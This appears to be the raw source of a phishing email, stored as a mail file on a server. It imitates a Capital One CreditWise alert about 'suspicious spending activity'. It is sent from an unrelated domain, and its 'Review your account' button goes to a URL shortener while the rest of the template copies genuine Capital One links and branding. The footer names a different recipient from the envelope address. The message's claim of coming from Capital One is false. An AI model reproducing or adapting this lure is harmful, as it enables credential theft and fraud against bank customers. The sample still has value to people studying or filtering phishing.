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Edit File: 1762958027.M835149P1195560.server-619288.prediksijaya.com,S=64584,W=65665

Envelope-to: info@21stbikes.com
Delivery-date: Wed, 12 Nov 2025 21:33:47 +0700
From: "Capital One" <capitalone-info@infoblvd.com>
To: info@21stbikes.com
Subject: Action Required: Review Suspicious Transactions on Your Account
Date: 12 Nov 2025 15:33:04 +0100
Message-ID: <20251112153303.CFA3610E9D4D6B3B@infoblvd.com>
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,255); BACKGROUND-COLOR: transparent" href=3D"https://click-notification.ca=
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ns-serif; BORDER-RIGHT-STYLE: none; DISPLAY: block; border-radius: 4px' bor=
der=3D0 alt=3D"Capital One | CreditWise"=20
src=3D"https://ecm.capitalone.com/Messaging/assets/images/logos_global/lock=
up_creditWise_3x.png" width=3D318 height=3D58></A></H1></TD></TR></TBODY></=
TABLE>
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 32px=
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<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 32px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 46px"><SPAN style=3D"BOX-SIZING: border-box; FONT-SI=
ZE: 36px; FONT-WEIGHT: 300; LINE-HEIGHT: 46px">
<H1 style=3D"BOX-SIZING: border-box; FONT-SIZE: 20px; FONT-FAMILY: arial, h=
elvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFOR=
M: none; FONT-WEIGHT: normal; COLOR: rgb(255,255,255); FONT-STYLE: normal; =
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t-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke=
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text-decoration-style: initial; text-decoration-color: initial">Capital&nbs=
p;One<SUP style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; VERTICAL-ALIGN:=
 baseline; POSITION: relative; LINE-HEIGHT: 0px; TOP: -0.5em">&reg;</SUP>&n=
bsp;<STRONG>Card Suspicious Spending Activity</STRONG></H1></SPAN></H2></TD=
></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist=
, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD=
DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 24px; =
LINE-HEIGHT: 24px; PADDING-RIGHT: 24px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D"BOX-SIZING:=
 border-box; FONT-SIZE: 16px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px">We&#8217=
;re reaching out because we&#8217;ve noticed some recent transactions on yo=
ur Capital One&reg; credit card that don&#8217;t match your usual spending =
pattern.<BR><BR></SPAN><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 16=
px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px">
If you recognize these purchases, please confirm that they&#8217;re valid s=
o we can ensure uninterrupted access to your account. If you don&#8217;t re=
cognize them, let us know right away so we can help protect your card from =
unauthorized use.</SPAN></P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P=
ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
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<TABLE class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE=
: collapse; border-radius: 4px" cellSpacing=3D0 cellPadding=3D0 align=3Dcen=
ter bgColor=3D#0276b1 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center=
; LINE-HEIGHT: 30px" width=3D300><A style=3D'BOX-SIZING: border-box; TEXT-D=
ECORATION: none; WIDTH: 300px; COLOR: rgb(0,172,255); FONT: 20px/30px Optim=
ist, "Helvetica Neue", Helvetica, Arial, sans-serif; DISPLAY: inline-block;=
 BACKGROUND-COLOR: transparent' href=3D"https://t.co/l1W8AYZZVS" rel=3Dnore=
ferrer target=3D_blank>
<STRONG style=3D"BOX-SIZING: border-box; FONT-WEIGHT: 400; COLOR: rgb(255,2=
55,255); PADDING-BOTTOM: 9px; PADDING-TOP: 9px; PADDING-LEFT: 16px; DISPLAY=
: inline-block; PADDING-RIGHT: 16px">Review your account</STRONG></A></TD><=
/TR></TBODY></TABLE>
<P>&nbsp;</P>
<P>If you recognize the transaction, no further action may be needed. If yo=
u do not, please report it immediately so we can take steps to safeguard yo=
ur account.</P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P=
ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; =
PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 24px=
; TEXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: =
24px'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 24px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 36px"><SPAN style=3D"BOX-SIZING: border-box; FONT-WE=
IGHT: 300"></SPAN>&nbsp;</H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T=
EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x" dir=3Dltr><SPAN>&nbsp;</SPAN>=20
<DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI=
DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;=
 TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">Payment<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZ=
ING: border-box; FONT-WEIGHT: bolder">history<BR class=3Dv1softBreak style=
=3D"BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box;=
 FONT-WEIGHT: 600; COLOR: rgb(1,61,91)">9/9</SPAN><SPAN style=3D"BOX-SIZING=
: border-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN>
 &nbsp;</SPAN>account payments made on time</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist=
, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD=
DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; =
LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, your history o=
f on-time payments indicates whether you&#8217;ll make payments on time in =
the future.</P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></=
TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 24px; PADDING-RIGHT: 24px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO=
TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA=
DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640>&nbsp;</TD=
></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; =
PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T=
EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x" dir=3Dltr>
<DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 103px; WI=
DTH: 103px; VERTICAL-ALIGN: top; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
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<TBODY style=3D"BOX-SIZING: border-box">
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<IMG style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: border-box; MAX-WIDTH: 70=
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s-serif; BORDER-RIGHT-STYLE: none' border=3D0=20
src=3D"https://mi.capitalone.com/p/rp/bed25787d806219a.png?icon_show_border=
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</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">&nbsp;</TD></TR></TBODY></TABLE></D=
IV><SPAN>&nbsp;</SPAN>=20
<DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI=
DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;=
 TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">New<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZING:=
 border-box; FONT-WEIGHT: bolder">accounts<BR class=3Dv1softBreak style=3D"=
BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box; FON=
T-WEIGHT: 600; COLOR: rgb(1,61,91)">0</SPAN><SPAN style=3D"BOX-SIZING: bord=
er-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN>
 &nbsp;</SPAN>new accounts</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist=
, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD=
DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; =
LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, opening too ma=
ny new accounts in a short window of time could point to credit problems.</=
P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBO=
DY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 24px; PADDING-RIGHT: 24px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO=
TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA=
DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640>&nbsp;</TD=
></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px"></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 32px; =
PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n=
bsp;</TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent=
er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P=
ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE class=3Dv1footer style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c=
ollapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; COLOR: rgb(105,105,105); PADDING-BOTTO=
M: 8px; TEXT-ALIGN: left; PADDING-TOP: 24px; FONT: 10px/16px Optimist, "Hel=
vetica Neue", Helvetica, Arial, sans-serif; PADDING-LEFT: 24px; PADDING-RIG=
HT: 24px'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 10px; FONT-WEIGHT: 600; MAR=
GIN: 0px 0px 16px; LINE-HEIGHT: 16px">About this message</H2>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">The CreditWise Si=
mulator provides an estimate of your score change and does not guarantee ho=
w your score may change.<BR style=3D"BOX-SIZING: border-box"><BR style=3D"B=
OX-SIZING: border-box">Web access is needed to use the mobile app. Check wi=
th your service provider for details on specific fees and charges.</P></TD>=
</TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 1px; PADDING-B=
OTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 24px; LINE-HEIGHT: 0; PADDING-R=
IGHT: 24px">
<DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(125,125,125) 1px s=
olid">&nbsp;</DIV></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1footer style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c=
ollapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; COLOR: rgb(105,105,105); PADDING-BOTTO=
M: 24px; TEXT-ALIGN: left; PADDING-TOP: 24px; FONT: 10px/16px Optimist, "He=
lvetica Neue", Helvetica, Arial, sans-serif; PADDING-LEFT: 24px; PADDING-RI=
GHT: 24px'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 10px; FONT-WEIGHT: 600; MAR=
GIN: 0px 0px 16px; LINE-HEIGHT: 16px">Important information from Capital&nb=
sp;One</H2>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c=
om-tran style=3D"BOX-SIZING: border-box"><A style=3D"BOX-SIZING: border-box=
; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" href=3D"ht=
tps://click-notification.capitalone.com/f/a/Ld0Z1idLrhgjitpbKZ2New~~/AAAAAR=
A~/9IgJYb7cof-KGBxjvhMcu2EESiNIBGUxTjcqHSyKsoUYx55oufGrUX2sk-Wo1cPMNuPlqYV2=
pNBQS1yTWxA8dV56SyznnSdcXfoiVwlwhPlo7gQVi9BTe2Z3xv8FA-13EptzgVVqrsMxmzmPiaT=
FKQ~~" rel=3Dnoreferrer target=3D_blank>
<SPAN class=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION: =
underline; text-underline-offset: 1px">Contact us</SPAN></A>&nbsp;&nbsp;|&n=
bsp;&nbsp;<A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR:=
 ; BACKGROUND-COLOR: transparent" href=3D"https://click-notification.capita=
lone.com/f/a/h_KmJgZBhs1fcUGD3duNNg~~/AAAAARA~/xbhj6UvFsHgxI4DFkVuVyNRBruHx=
0RGZppv6EYHHHI-xmCTLkNXP-_GgYGSvAULCaWy44Dt4NmJkmRQkiIcUoLPsjIwJXak5WuWTebV=
HQzLAqxX91ia0kftW2BzvBaXx" rel=3Dnoreferrer target=3D_blank>
 <SPAN class=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION:=
 underline; text-underline-offset: 1px">Privacy</SPAN></A>
 &nbsp;&nbsp;|&nbsp;&nbsp;<A style=3D"BOX-SIZING: border-box; TEXT-DECORATI=
ON: none; COLOR: ; BACKGROUND-COLOR: transparent" href=3D"https://click-not=
ification.capitalone.com/f/a/pHk5AB-oebGY5hCznXPQFQ~~/AAAAARA~/7z6gMhaiBAmv=
YcZsjtozwwYETWzWk48ICM-Mzj5IWveCIrNNcx5Y2og-vEyO1WcdygC9_DUi20Q_5K1xPmH9PYK=
SjeFaWLPollqrLHkojxSWNI1ID3Wx5JrCgXUPZ_GfDndPhw0HLU7zPufvOmtOQQ~~" rel=3Dno=
referrer target=3D_blank>
 <SPAN class=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION:=
 underline; text-underline-offset: 1px">Help&nbsp;prevent&nbsp;fraud</SPAN>=
</A></SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c=
om-tran style=3D"BOX-SIZING: border-box">To ensure delivery, add<SPAN>&nbsp=
;</SPAN><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ;=
 BACKGROUND-COLOR: transparent" rel=3Dnoreferrer><SPAN style=3D"BOX-SIZING:=
 border-box; TEXT-DECORATION: none">capitalone@notification.capitalone.com<=
/SPAN></A><SPAN>&nbsp;</SPAN>to your address book.</SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c=
om-tran style=3D"BOX-SIZING: border-box">This email was sent to<SPAN>&nbsp;=
</SPAN><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ; =
BACKGROUND-COLOR: transparent" rel=3Dnoreferrer><SPAN style=3D"BOX-SIZING: =
border-box; TEXT-DECORATION: none">jw@allermetrix.com</SPAN></A><SPAN>&nbsp=
;</SPAN>
 and contains information directly related to your CreditWise account (incl=
uding CreditWise alerts) and other services to which you have subscribed. I=
f you no longer want to receive these emails, unfortunately you&#8217;ll ha=
ve to&nbsp;<A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR=
: ; BACKGROUND-COLOR: transparent"=20
href=3D"https://click-notification.capitalone.com/f/a/XOkr4bf7XBYvyo6dyVQH3=
g~~/AAAAARA~/i314zL8lNmB76gQ4jIDorP_yneET2Pl5pWHgQ4tHEhLsM3vE93qzAFZzV2iMW2=
NBHJgr0z0N6592Hj00y3gVUkYrff70SGLKXWvA1iaPGfU0--WcKBxl50l-ENTUsSfMxnw3t0LbZ=
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underline-offset: 1px">unenroll from CreditWise</SPAN></A>
 .</SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Where does my Cre=
ditWise score come from?<BR style=3D"BOX-SIZING: border-box">
The credit score provided in CreditWise is a FICO&reg; Score 8 based on Tra=
nsUnion&reg; data. The FICO Score 8 gives you a good sense of your credit h=
ealth, but it may not be the same score model used by your lender or credit=
or. The availability of the CreditWise tool and certain features in the too=
l depends on our ability to obtain your credit history from TransUnion and =
whether you have sufficient credit history to generate a FICO Score 8. Some=
 monitoring and alerts may not be available to=20
you if the information you enter at enrollment does not match the informati=
on in your credit file at (or you do not have a file at) one or more consum=
er reporting agencies.</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Capital One does =
not provide, endorse or guarantee any third-party product, service, informa=
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nd services. All trademarks are the property of their respective owners.</P=
>
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<SPAN class=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION: =
underline; text-underline-offset: 1px">
To contact us, visit www.capitalone.com/help-center/contact-us.</SPAN></A><=
/P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Products and serv=
ices are offered by Capital&nbsp;One, N.A.</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">FICO is a registe=
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LE: none" src=3D"cid:o.gif" width=3D"1" height=3D"1"></TD></TR></TBODY></TA=
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<TR style=3D"BOX-SIZING: border-box">
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<A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: rgb(0,172=
,255); BACKGROUND-COLOR: transparent" href=3D"https://click-notification.ca=
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errer target=3D_blank>
<IMG class=3Dv1lightimg style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: border=
-box; BORDER-LEFT-STYLE: none; VERTICAL-ALIGN: middle; BORDER-BOTTOM-STYLE:=
 none; COLOR: rgb(20,20,20); FONT: 12px/18px Optimist, "Helvetica Neue", He=
lvetica, Arial, sans-serif; BORDER-RIGHT-STYLE: none; DISPLAY: block' borde=
r=3D0 alt=3D"Sign in to your account" src=3D"https://ecm.capitalone.com/Mes=
saging/assets/images/icons_global/signIn_ui_3x.png" width=3D17 height=3D18>=
</A></TD>
<TD style=3D"BOX-SIZING: border-box"><SPAN class=3Dv1textLink style=3D"BOX-=
SIZING: border-box; BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 1px"></SPAN><=
/TD></TR></TBODY></TABLE></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 1px; PADDING-B=
OTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 24px; LINE-HEIGHT: 0; PADDING-R=
IGHT: 24px">
<DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(212,212,212) 1px s=
